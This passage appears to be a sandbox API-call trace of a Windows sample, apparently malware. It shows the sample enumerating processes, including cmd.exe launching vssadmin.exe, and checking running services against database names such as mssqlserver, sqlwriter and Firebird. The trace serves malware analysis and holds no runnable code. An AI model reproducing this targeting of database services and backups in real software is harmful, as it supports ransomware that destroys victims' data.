th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.140] lstrlenW (lpString="svchost.exe") returned 11 [0267.140] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.141] lstrlenW (lpString="svchost.exe") returned 11 [0267.141] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.142] lstrlenW (lpString="svchost.exe") returned 11 [0267.142] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.143] lstrlenW (lpString="svchost.exe") returned 11 [0267.143] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.145] lstrlenW (lpString="svchost.exe") returned 11 [0267.145] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.146] lstrlenW (lpString="svchost.exe") returned 11 [0267.146] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0267.147] lstrlenW (lpString="spoolsv.exe") returned 11 [0267.147] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.148] lstrlenW (lpString="svchost.exe") returned 11 [0267.148] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x518, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0267.150] lstrlenW (lpString="audiodg.exe") returned 11 [0267.150] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0267.151] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0267.151] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0267.152] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0267.152] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0267.153] lstrlenW (lpString="Memory Compression") returned 18 [0267.153] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.154] lstrlenW (lpString="svchost.exe") returned 11 [0267.154] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0267.157] lstrlenW (lpString="sihost.exe") returned 10 [0267.157] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="MDMAgent.exe")) returned 1 [0267.158] lstrlenW (lpString="MDMAgent.exe") returned 12 [0267.158] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0267.159] lstrlenW (lpString="taskhostw.exe") returned 13 [0267.159] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0267.160] lstrlenW (lpString="msoia.exe") returned 9 [0267.161] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x44, th32ParentProcessID=0xa28, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0267.162] lstrlenW (lpString="explorer.exe") returned 12 [0267.162] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0267.163] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0267.163] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0267.164] lstrlenW (lpString="SearchUI.exe") returned 12 [0267.164] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0267.165] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0267.165] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0267.166] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0267.166] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa40, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0267.167] lstrlenW (lpString="chrome64b.exe") returned 13 [0267.167] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd14, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0267.168] lstrlenW (lpString="cmd.exe") returned 7 [0267.168] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd34, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0267.246] lstrlenW (lpString="conhost.exe") returned 11 [0267.246] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.247] lstrlenW (lpString="svchost.exe") returned 11 [0267.248] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xd34, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0267.249] lstrlenW (lpString="vssadmin.exe") returned 12 [0267.249] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0267.250] lstrlenW (lpString="consent.exe") returned 11 [0267.250] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0267.251] CloseHandle (hObject=0x53c) returned 1 [0267.251] Sleep (dwMilliseconds=0x1f4) [0268.040] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x699ff0 [0268.041] EnumServicesStatusExW (in: hSCManager=0x699ff0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 0 [0268.041] GetLastError () returned 0xea [0268.041] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x1cc6) returned 0x4599438 [0268.042] EnumServicesStatusExW (in: hSCManager=0x699ff0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4599438, cbBufSize=0x1cc6, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4599438, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 1 [0268.042] CloseServiceHandle (hSCObject=0x699ff0) returned 1 [0268.043] lstrlenW (lpString="Appinfo") returned 7 [0268.043] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0268.043] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0268.043] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0268.043] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0268.043] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0268.043] lstrlenW (lpString="AppXSvc") returned 7 [0268.043] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0268.043] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0268.043] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0268.043] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0268.043] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0268.043] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0268.043] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0268.043] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0268.043] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0268.043] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0268.044] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0268.044] lstrlenW (lpString="Audiosrv") returned 8 [0268.044] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0268.044] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0268.044] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0268.044] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0268.044] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0268.044] lstrlenW (lpString="BFE") returned 3 [0268.044] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0268.044] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0268.044] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0268.044] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0268.045] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0268.045] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0268.045] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0268.045] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0268.045] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0268.045] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0268.045] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0268.045] lstrlenW (lpString="CDPSvc") returned 6 [0268.045] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0268.045] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0268.045] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0268.045] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0268.045] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0268.045] lstrlenW (lpString="ClickToRunSvc") returned 13 [0268.045] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0268.045] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0268.045] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0268.045] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0268.045] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0268.045] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0268.045] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0268.045] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0268.045] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0268.045] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0268.045] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0268.046] lstrlenW (lpString="CryptSvc") returned 8 [0268.046] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0268.046] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0268.046] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0268.046] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0268.046] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0268.046] lstrlenW (lpString="DcomLaunch") returned 10 [0268.046] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0268.046] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0268.046] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0268.046] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0268.046] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0268.046] lstrlenW (lpString="DeviceAssociationService") returned 24 [0268.046] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0268.046] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0268.046] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0268.046] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0268.046] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0268.046] lstrlenW (lpString="Dhcp") returned 4 [0268.046] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0268.046] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0268.046] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0268.046] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0268.046] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0268.046] lstrlenW (lpString="DmEnrollmentSvc") returned 15 [0268.046] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DmEnrollmentSvc") returned 1 [0268.047] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DmEnrollmentSvc") returned 1 [0268.047] lstrcmpiW (lpString1="sqlwriter", lpString2="DmEnrollmentSvc") returned 1 [0268.047] lstrcmpiW (lpString1="mssqlserver", lpString2="DmEnrollmentSvc") returned 1 [0268.047] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DmEnrollmentSvc") returned 1 [0268.047] lstrlenW (lpString="Dnscache") returned 8 [0268.047] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0268.047] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0268.047] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0268.047] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0268.047] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0268.047] lstrlenW (lpString="DPS") returned 3 [0268.047] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0268.047] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0268.047] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0268.047] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0268.047] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0268.047] lstrlenW (lpString="DusmSvc") returned 7 [0268.047] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0268.047] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0268.047] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0268.047] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0268.047] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0268.047] lstrlenW (lpString="EventLog") returned 8 [0268.047] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0268.047] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0268.048] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0268.048] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0268.048] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0268.048] lstrlenW (lpString="EventSystem") returned 11 [0268.048] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0268.048] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0268.048] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0268.048] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0268.067] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0268.067] lstrlenW (lpString="FontCache") returned 9 [0268.067] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0268.067] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0268.067] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0268.067] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0268.067] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0268.067] lstrlenW (lpString="gpsvc") returned 5 [0268.067] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0268.067] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0268.067] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0268.067] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0268.067] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0268.067] lstrlenW (lpString="iphlpsvc") returned 8 [0268.067] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0268.067] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0268.067] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0268.067] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0268.067] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0268.067] lstrlenW (lpString="KeyIso") returned 6 [0268.067] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0268.067] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0268.067] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0268.067] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0268.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0268.068] lstrlenW (lpString="LanmanServer") returned 12 [0268.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0268.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0268.068] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0268.068] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0268.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0268.068] lstrlenW (lpString="LanmanWorkstation") returned 17 [0268.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0268.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0268.068] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0268.068] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0268.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0268.068] lstrlenW (lpString="lfsvc") returned 5 [0268.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0268.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0268.068] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0268.068] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0268.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0268.068] lstrlenW (lpString="lmhosts") returned 7 [0268.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0268.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0268.068] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0268.068] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0268.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0268.068] lstrlenW (lpString="LSM") returned 3 [0268.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0268.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0268.069] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0268.069] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0268.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0268.069] lstrlenW (lpString="MpsSvc") returned 6 [0268.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0268.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0268.069] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0268.069] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0268.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0268.069] lstrlenW (lpString="NcbService") returned 10 [0268.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0268.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0268.069] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0268.069] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0268.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0268.069] lstrlenW (lpString="netprofm") returned 8 [0268.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0268.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0268.069] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0268.069] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0268.069] lstrcmpiW 